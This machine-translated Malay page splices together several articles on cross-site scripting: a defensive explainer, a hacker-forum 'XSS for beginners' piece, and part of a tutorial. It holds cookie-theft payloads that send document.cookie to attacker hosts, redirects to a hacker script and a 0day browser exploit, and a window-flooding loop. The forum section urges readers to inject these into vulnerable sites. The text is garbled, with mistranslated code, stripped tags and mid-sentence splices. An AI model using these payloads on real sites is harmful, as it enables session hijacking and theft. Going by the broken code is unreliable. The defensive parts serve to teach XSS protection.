Apakah kelemahan xss? Perlindungan penyemak imbas terhadap serangan XSS yang disimpan. Juga dikenali sebagai DOM

Ory Segal

Ketahui cara penggodam menggunakan serangan skrip merentas tapak, perkara yang mereka lakukan (dan tidak) merosakkan, cara mengesannya dan cara melindungi tapak Web anda dan pelawatnya daripada pelanggaran privasi dan keselamatan yang berniat jahat ini.

Skrip silang tapak (atau singkatannya XSS) ialah salah satu serangan peringkat aplikasi yang paling biasa yang digunakan oleh penggodam untuk menjejaskan aplikasi Web. XSS ialah serangan terhadap privasi pelanggan tapak Web tertentu. Ia boleh membawa kepada kemusnahan sepenuhnya sistem keselamatan apabila data pelanggan dicuri dan digunakan pada masa hadapan untuk tujuan tertentu. Kebanyakan serangan melibatkan dua pihak: sama ada penyerang dan laman web, atau penyerang dan pelanggan mangsa. Walau bagaimanapun, serangan XSS melibatkan tiga pihak: penyerang, pelanggan dan laman web.

Tujuan serangan XSS adalah untuk mencuri kuki atau kuki lain daripada komputer pelanggan. maklumat sulit, yang boleh mengenal pasti pelanggan pada tapak Web. Mempunyai maklumat untuk mengenal pasti dia sebagai pengguna yang sah, penyerang boleh bertindak di tapak sebagai pengguna sedemikian, i.e. berpura-pura menjadi dia. Sebagai contoh, semasa satu audit dijalankan di sebuah syarikat besar, adalah mungkin untuk mendapatkan maklumat peribadi pengguna dan nombornya kad kredit. Ini dicapai dengan berlari kod khas dalam JavaScript. Kod ini telah dilaksanakan dalam penyemak imbas mangsa (klien), yang mempunyai keistimewaan akses ke laman web. Terdapat bilangan keistimewaan JavaScript yang sangat terhad yang tidak memberikan skrip akses kepada apa-apa selain maklumat khusus tapak. Adalah penting untuk ditekankan bahawa walaupun kelemahan wujud pada laman web, laman web itu sendiri tidak rosak secara langsung. Tetapi ini sudah cukup untuk skrip mengumpul kuki dan menghantarnya kepada penyerang. Akibatnya, penyerang menerima data yang diperlukan dan boleh meniru mangsa.

Mari namakan tapak yang diserang seperti berikut: www.vulnerable.site. Serangan XSS tradisional bergantung pada skrip terdedah yang berada pada tapak web yang terdedah. Skrip ini membaca sebahagian daripada permintaan HTTP (biasanya parameter, tetapi kadangkala juga pengepala atau laluan HTTP) dan mengulanginya untuk halaman respons, sama ada semua atau sebahagian sahaja. Ini tidak membersihkan permintaan (iaitu, ia tidak menyemak bahawa permintaan itu tidak mengandungi kod JavaScript atau teg HTML). Katakan skrip ini dipanggil welcome.cgi dan parameternya ialah namanya. Ia boleh digunakan seperti ini:

Bagaimana ini boleh disalahgunakan? Penyerang mesti dapat memikat pelanggan (mangsa) untuk mengklik pautan yang diberikan oleh penyerang kepada mereka. Ini ialah pautan yang direka dengan teliti dan berniat jahat yang menyebabkan penyemak imbas Web mangsa mengakses tapak web (www.vulnerable.site) dan melaksanakan skrip yang terdedah. Data untuk skrip ini mengandungi kod JavaScript yang mengakses kuki yang disimpan oleh penyemak imbas pelanggan untuk tapak www.vulnerable.site. Ini dibenarkan kerana pelayar pelanggan "berfikir" kod JavaScript datang daripada www.vulnerable.site. Sebuah model keselamatan JavaScript Membenarkan skrip yang berasal dari tapak tertentu untuk mengakses kuki yang dimiliki oleh tapak tersebut.

Maklum balas daripada tapak yang terdedah adalah seperti berikut:

Selamat datang! Hai makluman(document.cookie)

Selamat datang ke sistem kami...

Pelayar klien mangsa mentafsir permintaan ini sebagai halaman HTML yang mengandungi sekeping kod JavaScript. Kod ini, apabila dilaksanakan, akan mempunyai akses kepada semua kuki kepunyaan tapak www.vulnerable.site. Akibatnya, ia akan menyebabkan tetingkap timbul dalam penyemak imbas menunjukkan semua kuki pelanggan yang berkaitan dengan www.vulnerable.site.

Sudah tentu, serangan sebenar akan melibatkan penghantaran fail ini kepada penyerang. Untuk melakukan ini, penyerang boleh membuat tapak Web (www.attacker.site) dan menggunakan skrip untuk menerima kuki. Daripada memanggil tetingkap pop timbul, penyerang akan menulis kod yang mengakses URL ke www.attacker.site. Dalam hal ini, skrip dilaksanakan untuk mendapatkan kuki. Parameter untuk skrip ini ialah kuki yang dicuri. Oleh itu, penyerang boleh mendapatkan kuki daripada pelayan www.attacker.site.

Sejurus selepas memuatkan halaman ini, penyemak imbas akan melaksanakan kod JavaScript yang dimasukkan di sana dan memajukan permintaan ke skrip collect.cgi di www.attacker.site bersama-sama dengan nilai kuki daripada www.vulnerable.site yang telah dimiliki oleh penyemak imbas. Ini menjejaskan keselamatan kuki www.vulnerable.site yang pelanggan miliki. Ini membolehkan penyerang berpura-pura menjadi mangsa. Kerahsiaan pelanggan dicabuli sepenuhnya.

Catatan.
Biasanya memanggil tetingkap pop timbul dengan menggunakan JavaScript sudah cukup untuk menunjukkan kelemahan tapak kepada serangan XSS. Jika anda boleh membuat panggilan daripada JavaScript Fungsi amaran, maka biasanya tiada sebab mengapa panggilan mungkin gagal. Inilah sebabnya mengapa kebanyakan contoh serangan XSS menggunakan fungsi Alert, yang menjadikannya sangat mudah untuk menentukan kejayaan serangan.

Serangan hanya boleh berlaku dalam pelayar mangsa, yang sama digunakan untuk mengakses tapak (www.vulnerable.site). Penyerang mesti memaksa pelanggan untuk mendapatkan akses kepada pautan berniat jahat. Ini boleh dicapai dalam beberapa cara.

  • Penyerang menghantar e-mel mesej yang mengandungi halaman HTML yang menyebabkan penyemak imbas membuka pautan. Ini memerlukan mangsa menggunakan klien e-mel yang boleh mengendalikan HTML. Dan pemapar HTML pada klien mestilah pelayar yang sama yang digunakan untuk mengakses www.vulnerable.site.
  • Pelanggan melawat tapak, mungkin dibuat oleh penyerang, yang mempunyai pautan ke imej atau lain-lain unsur aktif HTML memaksa pelayar untuk membuka pautan. Sekali lagi, dalam kes ini, penyemak imbas yang sama digunakan untuk mengakses kedua-dua tapak ini dan tapak www.vulnerable.site.

Kod JavaScript hasad boleh mengakses mana-mana maklumat berikut:

  • kuki berterusan (dari tapak www.vulnerable.site), yang disimpan oleh penyemak imbas;
  • biskut masuk memori capaian rawak(tapak www.vulnerable.site), yang disokong oleh contoh penyemak imbas hanya apabila melihat tapak www.vulnerable.site;
  • nama tetingkap lain dibuka untuk tapak www.vulnerable.site.
  • sebarang maklumat yang boleh didapati melalui semasa model DOM(daripada nilai, kod HTML, dsb.).

Data pengenalan, kebenaran dan pengesahan biasanya disimpan dalam bentuk kuki. Jika fail-fail ini kuki kekal, maka mangsa terdedah kepada serangan walaupun dia tidak menggunakan pelayar semasa mengakses tapak www.vulnerable.site. Walau bagaimanapun, jika kuki itu bersifat sementara (contohnya, ia disimpan dalam RAM), maka di sisi pelanggan mesti ada sesi dengan tapak www.vulnerable.site.

Satu lagi kemungkinan pelaksanaan label pengenalan ialah parameter URL. Dalam kes sedemikian, anda boleh mengakses tetingkap lain menggunakan JavaScript seperti berikut (dengan mengandaikan nama halaman dengan parameter yang diperlukan URL - foobar):

var victim_window=open(","foobar");alert("Boleh mengakses:

" +victim_window.location.search)

Untuk menjalankan skrip JavaScript, anda boleh menggunakan banyak teg HTML selain . sebenarnya, kod berniat jahat JavaScript juga boleh dihoskan pada pelayan lain dan kemudian meminta klien memuat turun skrip dan melaksanakannya. Ini boleh berguna jika anda perlu menjalankan sejumlah besar kod, atau jika kod itu mengandungi aksara khas.

Berikut adalah beberapa variasi kemungkinan ini.

  • Daripada... penggodam boleh menggunakan . Ini sesuai untuk tapak yang menapis teg HTML.
  • Daripada ... anda boleh menggunakan pembinaan. Ini bagus dalam situasi di mana kod JavaScript terlalu panjang, atau jika ia mengandungi aksara haram.

Kadangkala data yang dibenamkan dalam halaman respons adalah dalam konteks HTML berbayar. Dalam kes ini, anda perlu terlebih dahulu "melarikan diri" ke konteks bebas, dan kemudian melakukan serangan XSS. Contohnya, jika data dimasukkan sebagai nilai lalai untuk medan borang HTML:

Dan kod HTML yang terhasil adalah seperti berikut:

tingkap.buka

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

Setakat ini kita telah melihat bahawa serangan XSS boleh berlaku dalam parameter permintaan GET yang skrip bertindak balas. Tetapi anda juga boleh melakukan serangan menggunakan permintaan POST, atau menggunakan komponen laluan Permintaan HTTP, dan juga menggunakan beberapa pengepala HTTP (seperti Perujuk).

Khususnya, komponen laluan berguna apabila halaman ralat mengembalikan laluan yang tidak sah. Dalam kes ini, memasukkan skrip berniat jahat dalam laluan selalunya akan menyebabkan ia dilaksanakan. Banyak pelayan Web terdedah kepada serangan ini.

Adalah penting untuk memahami bahawa walaupun tapak web tidak terjejas secara langsung oleh serangan ini (ia terus berfungsi seperti biasa, tiada kod berniat jahat dilaksanakan padanya, serangan DoS tidak berlaku, dan data dari tapak tidak dibaca atau diusik secara langsung), ini masih merupakan pelanggaran dalam sistem keselamatan yang ditawarkan oleh tapak tersebut kepada pelanggan atau pelawatnya. Ini serupa dengan tapak yang digunakan untuk menggunakan aplikasi dengan label keselamatan yang lemah. Oleh sebab itu, penyerang boleh meneka label keselamatan pelanggan dan berpura-pura menjadi dia (atau dia).

Titik lemah dalam aplikasi ialah skrip, yang mengembalikan parameternya tanpa mengira nilainya. Skrip yang baik harus memastikan bahawa parameter format yang betul bahawa ia mengandungi aksara yang boleh diterima, dsb. Biasanya tiada sebab untuk parameter yang betul mengandungi tag HTML atau kod JavaScript. Ia mesti dialih keluar daripada parameter sebelum ia boleh disuntik ke dalam respons atau digunakan dalam aplikasi. Ini akan memastikan keselamatan.

Terdapat tiga cara untuk melindungi tapak web anda daripada serangan XSS.

  • Dengan melakukan penapisan data input anda sendiri (kadang-kadang dipanggil sanitasi input). Untuk setiap input pengguna (sama ada parameter atau pengepala HTML), setiap skrip yang ditulis sendiri harus menggunakan penapisan lanjutan terhadap teg HTML, termasuk kod JavaScript. Contohnya, skrip welcome.cgi daripada contoh sebelumnya harus menapis teg selepas menyahkod parameter nama. Kaedah ini mempunyai beberapa kelemahan yang serius.
    • Ia memerlukan pengaturcara aplikasi ilmu yang baik teknologi keselamatan.
    • Ia memerlukan pengaturcara untuk merangkumi semua sumber yang mungkin data input (parameter pertanyaan, parameter badan permintaan POST, pengepala HTTP).
    • Ia tidak dapat melindungi daripada kelemahan dalam skrip atau pelayan pihak ketiga. Sebagai contoh, ia tidak akan melindungi daripada masalah dalam halaman ralat pada pelayan Web (yang memaparkan laluan sumber).
  • Melakukan "penapisan output", i.e. menapis data pengguna apabila ia dihantar semula ke penyemak imbas, bukan apabila skrip menerimanya. Contoh yang baik Pendekatan ini boleh menjadi skrip yang memasukkan data ke dalam pangkalan data dan kemudian memaparkannya. Dalam kes ini, adalah penting untuk menggunakan penapis bukan pada rentetan input asal, tetapi hanya pada versi output. Kelemahan kaedah ini adalah serupa dengan penapisan input.
  • Memasang firewall aplikasi pihak ketiga (firewall). Skrin ini memintas serangan XSS sebelum ia mencapai pelayan Web dan skrip yang terdedah serta menyekatnya. Firewall aplikasi boleh merangkumi semua kaedah input dengan bekerja dengannya secara umum(termasuk laluan dan pengepala HTTP), tidak kira skrip atau laluan daripada aplikasi asli, skrip pihak ketiga atau skrip yang tidak menerangkan sebarang sumber sama sekali (contohnya, bertujuan untuk mencetuskan halaman respons 404 daripada pelayan). Untuk setiap sumber input, tembok api aplikasi menyemak data untuk pelbagai corak teg HTML dan kod JavaScript. Jika terdapat sebarang padanan, permintaan itu disekat dan data berniat jahat tidak sampai ke pelayan.
  • Kesimpulan logik untuk melindungi tapak web adalah untuk memeriksa keselamatannya terhadap serangan XSS. Seperti melindungi tapak daripada XSS, menyemak tahap perlindungan boleh dilakukan secara manual (cara yang sukar), atau menggunakan alat automatik untuk menilai kerentanan aplikasi Web. Alat ini akan mengambil beban pengesahan daripada bahu anda. Program ini bergerak di sekitar tapak dan menjalankan semua pilihan yang diketahuinya untuk semua skrip yang dikesannya. Ini mencuba semua parameter, pengepala dan laluan. Dalam kedua-dua kaedah, setiap input ke dalam aplikasi (parameter semua skrip, pengepala HTTP, laluan) disemak dengan seberapa banyak pilihan yang mungkin. Dan jika halaman respons mengandungi kod JavaScript dalam konteks di mana penyemak imbas boleh melaksanakannya, maka mesej kelemahan XSS muncul. Sebagai contoh, apabila menghantar teks berikut:

    makluman(document.cookie)

    Untuk setiap parameter setiap skrip (melalui penyemak imbas dengan keupayaan JavaScript untuk mengesan bentuk paling mudah kelemahan XSS), penyemak imbas akan menaikkan tetingkap Amaran JavaScript jika teks ditafsirkan sebagai kod JavaScript. Sudah tentu, terdapat beberapa pilihan. Oleh itu, menguji hanya pilihan ini tidak mencukupi. Dan, seperti yang telah anda pelajari, anda boleh memasukkan kod JavaScript ke dalam pelbagai medan permintaan: parameter, pengepala HTTP dan laluan. Walau bagaimanapun, dalam beberapa kes (terutamanya dengan pengepala Perujuk HTTP), adalah menyusahkan untuk melakukan serangan menggunakan penyemak imbas.

    Skrip merentas tapak ialah salah satu serangan peringkat aplikasi paling biasa yang digunakan oleh penggodam untuk menjejaskan aplikasi Web. Ia juga yang paling berbahaya. Ini adalah serangan ke atas privasi pelanggan tapak Web tertentu. Ia boleh membawa kepada kemusnahan sepenuhnya sistem keselamatan apabila data pelanggan dicuri dan digunakan pada masa hadapan untuk tujuan tertentu. Malangnya, seperti yang dijelaskan oleh artikel ini, ini sering dilakukan tanpa pengetahuan tentang pelanggan atau organisasi yang diserang.

    Untuk mengelakkan tapak Web daripada terdedah kepada aktiviti berniat jahat ini, adalah penting bagi sesebuah organisasi melaksanakan kedua-dua strategi keselamatan dalam talian dan luar talian. Ini termasuk penyemak kelemahan automatik yang boleh menguji semua kelemahan tapak Web yang diketahui dan aplikasi tertentu(contohnya, skrip merentas tapak) di tapak. Untuk perlindungan dalam talian yang lengkap, ia juga penting untuk memasang tembok api yang boleh mengesan dan menyekat sebarang jenis manipulasi kod dan data yang berada pada atau di belakang pelayan Web.

    • Kategori: Tidak dikategorikan
    • ,’,” dan lain-lain lagi. Pertama, nilai pembolehubah dihantar dari halaman HTML yang dimuatkan dalam penyemak imbas...

      XSS untuk pemula. Tujuan serangan XSS

      salam, Pelawat yang dihormati Portal! Nama saya DrWeb. Saya ingin memberitahu anda tentang tujuan serangan XSS, kerana kelemahan XSS menimbulkan ancaman yang lebih besar daripada hanya mencuri kuki. Perkara pertama dahulu...

      Pertama tentang XSS secara umum. Singkatan XSS ialah singkatan kepada Cross Site Scripting. Ia adalah kebiasaan untuk memanggilnya XSS, dan bukan CSS, kerana CSS telah diperkenalkan lebih awal, dan ia bermaksud Cascading Style Sheets - "cascading style sheets" (digunakan dalam reka bentuk halaman HTML). Сross ialah "palang", jadi huruf pertama dalam "skrip merentas tapak" digantikan dengan "X".

      XSS ialah kelemahan pada pelayan yang membolehkan anda membenamkan kod arbitrari ke dalam halaman HTML yang dijana oleh skrip pada pelayan (bukan ke dalam skrip, tidak seperti kemasukan PERL atau PHP) dengan menghantarnya sebagai nilai pembolehubah tidak ditapis. (TRINUX menerangkan jenis serangan ini dengan baik dalam artikel: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 dan http://www.hackzona.ru/ hz. php?name=News&file=article&sid=3490&mode=&order=0&thold=0). Pembolehubah "tidak ditapis" ialah pembolehubah yang tidak disemak untuk aksara haram seperti ,'," dan banyak lagi, sebelum digunakan dalam skrip (contohnya, PHP). Pertama, nilai pembolehubah dipindahkan dari halaman HTML yang dimuatkan dalam pelayar pengguna ke skrip PHP (melalui permintaan POST atau GET). Permintaan POST menghantar pembolehubah melalui tatasusunan yang tidak dipaparkan dalam bar alamat pelayar; Permintaan GET menunjukkan dirinya dalam bar alamat seperti ini:

      http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0

      Jadi, skrip hz.php akan diberikan pembolehubah berikut: $name - dengan nilai "Berita", $file - dengan nilai "artikel", $sid - dengan nilai "3499" dll... Sememangnya, ia adalah lebih mudah untuk bekerja dengan permintaan GET, oleh itu, penggodam menyimpan halaman tapak yang digodam dan dalam baris seperti

      POST digantikan dengan GET. Seterusnya, skrip PHP, sebagai contoh, menjana halaman HTML di mana ia memaparkan nilai salah satu pembolehubah yang dipindahkan tanpa sebarang penapisan. TAPI! Jika penyerang, semasa mengarang permintaan GET, menggantikan beberapa teg utama (contohnya, atau ) dan bukannya nilai pembolehubah biasa, maka ia akan dilaksanakan oleh jurubahasa!

      Kebetulan kebanyakan samseng komputer menggunakan XSS hanya untuk mencuri kuki (kuki - dalam kebanyakan kes mereka menyimpan sesi, setelah memperuntukkannya, penyerang boleh berada di tapak di bawah akaun orang lain, contohnya, dalam forum di mana pendaftaran diperlukan. Mereka juga menyimpan kata laluan yang disulitkan, menyahsulit yang mana, pembuli akan dapat mengambil alih akaun itu 100%). Tetapi pepijat XSS tidak terhad kepada kecurian kuki.

      Sebenarnya, perenggan kemuncak :).

      Apakah kelemahan XSS yang membolehkan kami lakukan?

      1) Segala macam helah yang berkaitan dengan menyekat pengguna daripada aktiviti biasa di tapak. Contohnya, memaparkan bilangan tetingkap yang tidak terhingga (contoh di bawah) atau mesej (kaedah pengesahan atau makluman), akibat daripada beberapa tindakan pengguna (mengklik, melayang tetikus pada objek, hanya melawat tapak). Atau ubah hala ke nod lain. Cuba suntikan kod ini (tanpa pengubahsuaian) ke dalam tapak yang terdedah:

      window.location.href=\»http://hackzona.ru\»

      Selain itu, selepas menguji pada komputer anda terlebih dahulu, cuba skrip berikut. Cipta fail 1.html dengan kandungan berikut:

      untuk (i=1;i]0;i++)(oren(\’1.html\’,\’baru\’+i);)

      dan bukanya dalam mana-mana pelayar.

      2) Kecurian maklumat sulit pelawat. Pertama sekali, saya akan memasukkan kecurian kuki (document.cookie) sebagai atribut keselamatan pengguna yang paling penting (dalam bahagian ini). Bahagian ini juga termasuk kecurian maklumat mengenai sistem dan penyemak imbas pengguna ( objek pelayar), masa semasa, alamat IP, serta sejarah tapak yang dilawati (objek sejarah sebagai tatasusunan; sejarah halaman semasa, sejarah sebelumnya[-1], jumlah sejarah.panjang halaman) dan banyak lagi. Berikut ialah contoh skrip yang mengembalikan alamat IP pelawat kepada pembolehubah IP dan nama komputer kepada pembolehubah hos (diuji dalam Opera, Mozilla, Mizilla Firefox):

      myAddress=java.net.InetAddress.getLoсalHost();

      myAddress2=java.net.InetAddress.getLoсalHost();

      host=myAddress.getHostName();

      ip=myAddress2.getHostAddress();

      3) Semua yang boleh dilakukan oleh skrip CGI, PERL, PHP, ASP. Dan ini sahaja yang JS boleh lakukan + banyak perkara kecil yang bagus. Iaitu, ini adalah cara kedua untuk mencuri maklumat sulit. Ia lebih mudah, kerana... anda tidak perlu membenamkan semua kod ke dalam halaman HTML melalui pembolehubah utama, tetapi hanya pautan ke skrip; Selain itu, langkau ini mempunyai lebih banyak peluang. Kelemahannya ialah ini adalah kaedah yang lebih cacat (jika digunakan secara tidak rasional) dan tidak bergerak, terutamanya kerana mangsa boleh mengesan muat turun yang tidak diingini. Sebagai contoh, anda melaksanakan kod berikut ke dalam halaman HTML:

      window.location.href=\»http://hackzona.ru/haсkerssсriрt.php\»

      Di sini hackzona.ru ialah pelayan penggodam, dan haskerssсriрt.php ialah skrip penggodam yang melakukan tindakan tertentu. Setelah melawat halaman yang digodam, mangsa dialihkan ke skrip http://hackzona.ru/haсkerssсriрt.php, yang akan melakukan tugasnya (jika mangsa tidak mengganggu muat turun). Sememangnya, terdapat cara yang kurang kotor untuk memuatkan skrip berbanding window.location.href ; Saya membawanya hanya untuk menjelaskannya.

      4) Keupayaan penyemak imbas yang tidak disediakan oleh standard. Terdapat banyak kelemahan pelayar yang, apabila memproses sebarang kod, sama ada menyebabkan DoS atau menyediakan akses kepada fail tertentu, atau benarkan kod sewenang-wenangnya dilaksanakan pada sistem pengguna, atau sesuatu yang lain yang tidak begitu menyenangkan bagi pengguna. Banyak penyemak imbas yang terkenal dan kerap digunakan (Internet Explorer, Netscare, Mozilla, Mozilla Firefox, Opera dan semua yang dicipta pada enjin mereka) terdedah. Hanya beberapa versi mereka atau penyemak imbas yang ditambal tidak dapat dihalang. Baru-baru ini (pada masa penulisan), Benjamin Tobias Franz menemui kelemahan kritikal dalam pelayar Internet Explorer (v5.5, 6.0), yang membenarkan kod sewenang-wenangnya dilaksanakan pada sistem pengguna. Bagaimanakah anda boleh melaksanakan kod arbitrari pada pengguna yang telah melawat tapak yang mempunyai kelemahan XSS? Mari muat naik eksploit yang ditulis oleh Stuart Person (anda boleh mendapatkannya dari sini: myphp4.h15.ru/0day-explorer.rar atau dari tapak securitylab.ru), yang terdiri daripada empat htm dan satu fail html, ke pelayan kami, untuk contoh, coolhacker. yo. Kami akan melaksanakan kod berikut dalam tapak yang terdedah

      window.location.href=\"http://coolhaсker.yo/0day.html\"

      Kini, mangsa, setelah melawat halaman pelayan di mana kami telah membenamkan kod, dialihkan ke halaman eksploitasi http://coolhaсker.yo/0day.html, yang akan melaksanakan kod sewenang-wenangnya (dalam kes kami, ia akan melancarkan calc .exe).

    Dan merupakan tutorial komprehensif mengenai skrip merentas tapak.

    Bahagian Satu: Gambaran Keseluruhan Apakah XSS?

    Skrip rentas tapak ( Inggeris Skrip rentas tapak) ialah serangan suntikan kod yang membenarkan penyerang untuk melaksanakan JavaScript berniat jahat dalam penyemak imbas pengguna lain.

    Penyerang tidak menyerang mangsanya secara langsung. Sebaliknya, ia mengeksploitasi kelemahan dalam tapak web yang dilawati mangsa dan menyuntik kod JavaScript yang berniat jahat. Dalam penyemak imbas mangsa, JavaScript berniat jahat muncul sebagai bahagian yang sah pada tapak web, dan tapak web itu sendiri bertindak sebagai rakan sejenayah langsung kepada penyerang.

    Suntikan kod JavaScript berniat jahat

    Satu-satunya cara penyerang menjalankan JavaScript berniat jahat dalam penyemak imbas mangsa adalah dengan menyuntiknya ke dalam salah satu halaman yang dimuatkan mangsa daripada tapak web. Ini boleh dilakukan jika tapak web membenarkan pengguna memasukkan data pada halamannya, dan penyerang boleh memasukkan rentetan yang akan dikesan sebagai sebahagian daripada kod dalam penyemak imbas mangsa.

    Contoh di bawah menunjukkan skrip sebelah pelayan ringkas yang digunakan untuk memaparkan ulasan terkini pada tapak:

    cetak ""
    cetak "Ulasan terakhir:"
    cetak pangkalan data.komen terkini
    cetak ""

    Skrip menganggap bahawa ulasan terdiri daripada teks sahaja. Walau bagaimanapun, memandangkan input pengguna langsung didayakan, penyerang boleh meninggalkan ulasan ini: "...". Mana-mana pengguna yang melawat halaman tersebut kini akan menerima respons berikut:


    Ulasan terakhir:
    ...

    Apabila penyemak imbas pengguna memuatkan halaman, ia akan melaksanakan segala-galanya, termasuk kod JavaScript yang terkandung di dalam . Penyerang berjaya melakukan serangan.

    Apakah JavaScript berniat jahat?

    Peluang pelaksanaan JavaScript mungkin tidak kelihatan terutamanya berniat jahat dalam pelayar mangsa. JavaScript berjalan dalam persekitaran yang sangat terhad yang mempunyai akses yang sangat terhad kepada fail pengguna dan sistem operasi. Malah, anda boleh membuka Konsol JavaScript dalam penyemak imbas anda sekarang dan laksanakan mana-mana JavaScript yang anda mahukan, dan kemungkinan besar anda tidak akan boleh menyebabkan sebarang kemudaratan kepada komputer anda.

    Walau bagaimanapun, potensi kod JavaScript untuk bertindak sebagai kod hasad menjadi lebih jelas apabila anda mempertimbangkan fakta berikut:

    • JavaScript mempunyai akses kepada beberapa maklumat pengguna yang sensitif, seperti kuki.
    • JavaScript boleh menghantar permintaan HTTP dengan kandungan sewenang-wenangnya ke mana-mana arah menggunakan XMLHttpRequest dan mekanisme lain.
    • JavaScript boleh membuat perubahan sewenang-wenangnya pada kod HTML halaman semasa menggunakan teknik manipulasi DOM.

    Jika digabungkan, fakta ini boleh menyebabkan pelanggaran keselamatan yang sangat serius, butiran untuk diikuti.

    Akibat kod JavaScript yang berniat jahat

    Selain itu, keupayaan untuk melaksanakan JavaScript sewenang-wenangnya dalam penyemak imbas pengguna lain membolehkan penyerang untuk jenis berikut serangan:

    Kecurian biskut

    penyerang boleh mengakses kuki berkaitan tapak web mangsa menggunakan document.cookie , menghantarnya kepada miliknya pelayan sendiri dan gunakannya untuk mengekstrak maklumat sensitif seperti ID sesi.

    Keylogger

    Penyerang boleh mendaftarkan pendengar acara papan kekunci menggunakan addEventListener dan kemudian menghantar semua ketukan kekunci pengguna ke pelayan mereka, yang berpotensi merekodkan maklumat sensitif seperti kata laluan dan nombor kad kredit.

    Pancingan data

    penyerang boleh memasukkan borang log masuk palsu ke dalam halaman menggunakan manipulasi DOM, menetapkan atribut tindakan borang ke pelayan mereka sendiri, dan kemudian menipu pengguna untuk mendapatkan maklumat sensitif.

    Walaupun serangan ini berbeza dengan ketara, kesemuanya mempunyai satu persamaan yang ketara: memandangkan penyerang menyuntik kod ke dalam halaman yang disediakan oleh tapak web, JavaScript berniat jahat dilaksanakan dalam konteks tapak web tersebut. Ini bermakna ia dilayan seperti mana-mana skrip lain dari tapak tersebut: ia mempunyai akses kepada data mangsa untuk tapak web tersebut (seperti kuki) dan nama hos yang dipaparkan dalam Rentetan URL akan sama dengan laman web. Untuk semua tujuan, skrip dianggap sebagai bahagian undang-undang tapak web, membenarkannya melakukan apa sahaja yang boleh dilakukan oleh tapak web itu sendiri.

    Fakta ini menyerlahkan satu isu utama:

    Jika penyerang boleh menggunakan tapak web anda untuk melaksanakan kod JavaScript sewenang-wenangnya dalam penyemak imbas pengguna lain, keselamatan tapak web anda dan penggunanya akan terjejas.

    Untuk menekankan perkara ini, beberapa contoh skrip berniat jahat dalam tutorial ini akan dibiarkan tanpa perincian, menggunakan.... Ini menunjukkan bahawa kehadiran skrip yang disuntik oleh penyerang adalah masalah, tanpa mengira kod skrip tertentu yang sebenarnya sedang dilaksanakan.

    Bahagian dua: Serangan XSS Peserta dalam serangan XSS

    Sebelum kita menerangkan secara terperinci cara serangan XSS berfungsi, kita perlu menentukan pelakon yang terlibat dalam serangan XSS. Secara umum, terdapat tiga pihak dalam serangan XSS: tapak web, mangsa dan penyerang.

    • Laman web ini menyediakan halaman HTML kepada pengguna yang memintanya. Dalam contoh kami ia terletak di http://website/.
      • Pangkalan data tapak web ialah pangkalan data yang menyimpan beberapa data yang dimasukkan oleh pengguna pada halaman tapak.
    • Mangsanya ialah pengguna biasa laman web yang meminta halaman daripadanya menggunakan penyemak imbasnya.
    • Penyerang ialah penyerang yang berhasrat untuk melancarkan serangan ke atas mangsa dengan mengeksploitasi kelemahan XSS dalam laman web.
      • Pelayan penyerang ialah pelayan web yang dikawal oleh penyerang dengan tujuan semata-mata untuk mencuri maklumat sulit mangsa. Dalam contoh kami, ia terletak di http://attacker/.
    Contoh senario serangan


    window.location="http://attacker/?cookie="+document.cookie

    Skrip ini akan membuat permintaan HTTP ke URL lain, yang akan mengubah hala penyemak imbas pengguna ke pelayan penyerang. URL termasuk kuki mangsa sebagai parameter permintaan, apabila permintaan HTTP datang ke pelayan penyerang, penyerang boleh mengekstrak kuki ini daripada permintaan. Sebaik sahaja penyerang menerima kuki, dia boleh menggunakannya untuk menyamar sebagai mangsa dan melancarkan serangan seterusnya.

    Mulai sekarang, kod HTML yang ditunjukkan di atas akan dipanggil rentetan berniat jahat atau skrip berniat jahat. Adalah penting untuk memahami bahawa rentetan itu sendiri hanya berniat jahat jika ia akhirnya dipaparkan sebagai HTML dalam penyemak imbas mangsa, dan ini hanya boleh berlaku jika terdapat kelemahan XSS dalam tapak web.

    Bagaimana serangan contoh ini berfungsi

    Rajah di bawah menunjukkan contoh serangan oleh penyerang:

  • Penyerang menggunakan salah satu borang tapak web untuk memasukkan rentetan berniat jahat ke dalam pangkalan data tapak web.
  • Mangsa meminta halaman dari laman web.
  • Tapak ini menyertakan rentetan pangkalan data berniat jahat dalam respons dan menghantarnya kepada mangsa.
  • Pelayar mangsa melaksanakan skrip berniat jahat di dalam respons, menghantar kuki mangsa ke pelayan penyerang.
  • Jenis XSS

    Matlamat serangan XSS sentiasa untuk melakukan niat jahat Skrip JavaScript dalam pelayar mangsa. Terdapat beberapa cara asas yang berbeza untuk mencapai matlamat ini. Serangan XSS selalunya dibahagikan kepada tiga jenis:

    • XSS disimpan (berterusan), di mana rentetan berniat jahat berasal daripada pangkalan data tapak web.
    • XSS yang dicerminkan (tidak berterusan), di mana rentetan berniat jahat dijana daripada permintaan mangsa.
    • XSS DOM, di mana kerentanan berlaku dalam kod sebelah klien dan bukannya kod sebelah pelayan.

    Contoh sebelumnya menunjukkan serangan XSS yang disimpan. Kami kini akan menerangkan dua jenis serangan XSS yang lain: serangan XSS dan DOM XSS yang dicerminkan.

    XSS dicerminkan

    Dalam serangan XSS yang dicerminkan, rentetan berniat jahat adalah sebahagian daripada permintaan mangsa ke tapak web. Tapak ini menerima dan memasukkan rentetan berniat jahat ini ke dalam respons yang dihantar semula kepada pengguna. Rajah di bawah menggambarkan senario ini:

  • Mangsa menipu penyerang untuk menghantar permintaan URL ke tapak web.
  • Tapak ini termasuk rentetan berniat jahat daripada permintaan URL dalam respons kepada mangsa.
  • Pelayar mangsa melaksanakan skrip berniat jahat yang terkandung dalam respons, menghantar kuki mangsa ke pelayan penyerang.
  • Bagaimana untuk berjaya menjalankan serangan XSS yang dicerminkan?

    Serangan XSS yang dicerminkan mungkin kelihatan tidak berbahaya kerana ia memerlukan mangsa menghantar permintaan bagi pihak mereka yang mengandungi rentetan berniat jahat. Oleh kerana tiada siapa yang secara sukarela akan menyerang diri mereka sendiri, nampaknya tidak ada cara untuk benar-benar melakukan serangan itu.

    Ternyata, ada sekurang-kurangnya Dua cara biasa untuk menipu mangsa supaya melancarkan serangan XSS yang dicerminkan terhadap diri mereka sendiri ialah:

    • Jika pengguna ialah orang tertentu, penyerang boleh menghantar URL berniat jahat kepada mangsa (contohnya, melalui e-mel atau penghantar segera), dan menipunya supaya membuka pautan untuk melawati tapak web.
